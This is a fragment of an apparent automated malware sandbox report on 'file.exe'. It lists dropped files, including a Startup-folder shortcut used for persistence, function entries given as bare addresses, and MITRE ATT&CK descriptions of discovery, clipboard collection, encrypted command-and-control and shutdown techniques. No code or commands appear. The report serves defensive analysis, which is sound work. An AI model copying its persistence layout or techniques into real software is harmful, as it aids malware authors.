C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eamjnkh2.zwk.ps1

C:\Users\user\AppData\Local\WordGenius Technologies\G

C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js

C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Windows Analysis Report
file.exe

Function 00007FF7978337B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145
windowCOMMON

Function 00007FF797836580 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 208
COMMON

Function 00007FF797851D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251
COMMON

Function 00007FF7978CF630 Relevance: 12.4, APIs: 8, Instructions: 350
processCOMMON

Function 00007FF797837920 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178
registryCOMMON

Function 00007FF797835DEC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143
windowtimeregistryCOMMON

Function 00007FF797833D90 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57
windowregistryCOMMON

Function 00007FF79784E958 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 304
comCOMMON

Function 00007FF797833B84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60
windowregistryCOMMON

Function 00007FF797877348 Relevance: 13.8, APIs: 9, Instructions: 272
fileCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre